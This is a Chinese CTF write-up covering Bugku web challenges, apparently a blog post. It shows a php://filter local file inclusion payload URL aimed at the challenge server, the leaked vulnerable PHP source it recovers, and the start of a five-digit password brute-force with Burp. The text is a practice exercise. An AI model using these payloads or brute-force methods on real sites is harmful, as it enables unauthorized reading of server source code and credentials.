bugku web 17~24 write up

bugku web 17~24 write up

flag在index里

打开页面有一个链接,点击链接发现url栏出现file,关键字想到文件包含漏洞。
关于文件包含漏洞的学习可以参考链接:https://zhuanlan.zhihu.com/p/25069779

直接修改file参数:http://120.24.86.145:8005/post/index.php?file=index.php
发现没有得到我们想要的信息,思路中断,上网搜。

了解了一下php://filter伪协议:
https://www.cnblogs.com/likai/archive/2010/01/29/1659336.html、
以及php://filter的一些应用:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

补充相关知识后,明白php://filter可以进行文件读取:
payload:
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到一串base64码,解码整理如下:


    Bugku-ctf


    error_reporting(0);
    if(!$_GET[file]){
  echo 'click me? no';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{???????}//打码
?>

得到flag


输入密码查看flag

页面提示密码只有五位数,爆破,简单粗暴。
1.burp爆破:
关于burp的使用可参考链接:
https://blog.csdn.net/snert/article/details/4974

你可能感兴趣的:(ctf练习,bugku)